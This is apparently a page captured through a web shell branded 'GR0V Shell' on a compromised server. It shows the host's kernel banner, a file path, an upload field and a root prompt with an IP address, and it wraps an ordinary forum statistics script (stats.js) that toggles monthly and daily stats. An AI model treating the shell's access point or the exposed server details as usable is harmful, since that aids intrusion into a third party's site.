? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/happyezystyle/board/Themes/default/scripts/
File Upload :
Current File : /home/admin/public_html/old/happyezystyle/board/Themes/default/scripts/stats.js

var doingExpandCollapse = false;

function smfStats_year(uniqueId, initialState)
{
	this.uid = uniqueId;
	this.yearToggle = new smfToggle('year_' + uniqueId, initialState);
	this.monthElements = new Array();

	this.toggle = toggleYear;
	this.addMonth = addMonthToYear;
	this.addDay = YearaddDayToMonth;
	this.toggleMonth = ToggleMonth;

	this.yearToggle.addToggleImage('year_img_' +  uniqueId, '/collapse.gif', '/expand.gif');

	function toggleYear()
	{
		// Are we closing this down?
		if (this.yearToggle.state == 0)
		{
			for (m in this.monthElements)
			{
				if (this.monthElements[m].toggleElement.state == 0)
				{
					this.monthElements[m].toggle();
				}
			}
		}
		this.yearToggle.toggle();
	}

	function addMonthToYear(monthid, monthState)
	{
		this.yearToggle.addTogglePanel('tr_month_' + monthid);
		this.monthElements[monthid] = new smfStats_month(monthid, monthState);
	}

	function YearaddDayToMonth(monthid, dayid)
	{
		this.monthElements[monthid].daysloaded = true;
		this.monthElements[monthid].addDay(dayid);
	}

	function ToggleMonth(monthid)
	{
		return this.monthElements[monthid].toggle();
	}
}

function smfStats_month(uniqueId, initialState)
{
	this.uid = uniqueId;
	this.mode = initialState;
	this.daysloaded = !initialState;
	this.toggleElement = new smfToggle(uniqueId, initialState);
	this.toggleElement.addToggleImage('img_' + uniqueId, '/collapse.gif', '/expand.gif');

	this.toggle = expand_collapse;
	this.addDay = addDayToMonth;

	function expand_collapse()
	{
		if (window.XMLHttpRequest)
		{
			if (this.daysloaded == false)
			{
				getXMLDocument(smf_prepareScriptUrl(smf_scripturl) + "action=stats;expand=" + this.uid + ";xml", onDocReceived);
				doingExpandCollapse = true;
				if (typeof(window.ajax_indicator) == "function")
					ajax_indicator(true);
			}
			else
			{
				var oldvalue = this.toggleElement.state;
				this.toggleElement.toggle();

				// If we are collapsing this make sure to tell the forum we don't need to load that data any more.
				if (this.toggleElement.state)
				{
					getXMLDocument(smf_prepareScriptUrl(smf_scripturl) + "action=stats;collapse=" + this.uid + ";xml");
				}
			}
			return false;
		}
		else
		{
			return true;
		}
	}

	function addDayToMonth(id)
	{
		if (this.toggleElement.state == 1)
		{
			this.toggleElement.toggle();
		}
		this.toggleElement.addTogglePanel('tr_day_' + id);
	}
}

function onDocReceived(XMLDoc)
{
	var numMonths = XMLDoc.getElementsByTagName("month").length, i, j, k, numDays, curDay, start, year;
	var myTable = document.getElementById("stats"), curId, myRow, myCell, myData;
	var dataCells = [
		"date",
		"new_topics",
		"new_posts",
		"new_members",
		"most_members_online"
	];

	if (numMonths > 0 && XMLDoc.getElementsByTagName("month")[0].getElementsByTagName("day").length > 0 && XMLDoc.getElementsByTagName("month")[0].getElementsByTagName("day")[0].getAttribute("hits") != null)
		dataCells[5] = "hits";

	for (i = 0; i < numMonths; i++)
	{
		numDays = XMLDoc.getElementsByTagName("month")[i].getElementsByTagName("day").length;
		curId = XMLDoc.getElementsByTagName("month")[i].getAttribute("id");
		start = document.getElementById("tr_month_" + curId).rowIndex + 1;
		year = curId.substr(0,4);

		for (j = 0; j < numDays; j++)
		{
			curDay = XMLDoc.getElementsByTagName("month")[i].getElementsByTagName("day")[j];
			myRow = myTable.insertRow(start + j);
			myRow.className = "windowbg2";
			myRow.id = "tr_day_" + curDay.getAttribute("date");
			yearElements[year].addDay(curId, curDay.getAttribute("date"));

			for (k in dataCells)
			{
				myCell = myRow.insertCell(-1);
				if (dataCells[k] == "date")
					myCell.style.paddingLeft = "6ex";
				else
					myCell.style.textAlign = "center";
				myData = document.createTextNode(curDay.getAttribute(dataCells[k]));
				myCell.appendChild(myData);
			}
		}
		// Adjust the link to collapse instead of expand
		document.getElementById("m" + curId).href = smf_prepareScriptUrl(smf_scripturl) + "action=stats;collapse=" + curId + "#" + curId;
	}

	doingExpandCollapse = false;
	if (typeof(window.ajax_indicator) == "function")
		ajax_indicator(false);

};

T1KUS90T
  root-grov@210.1.60.28:~$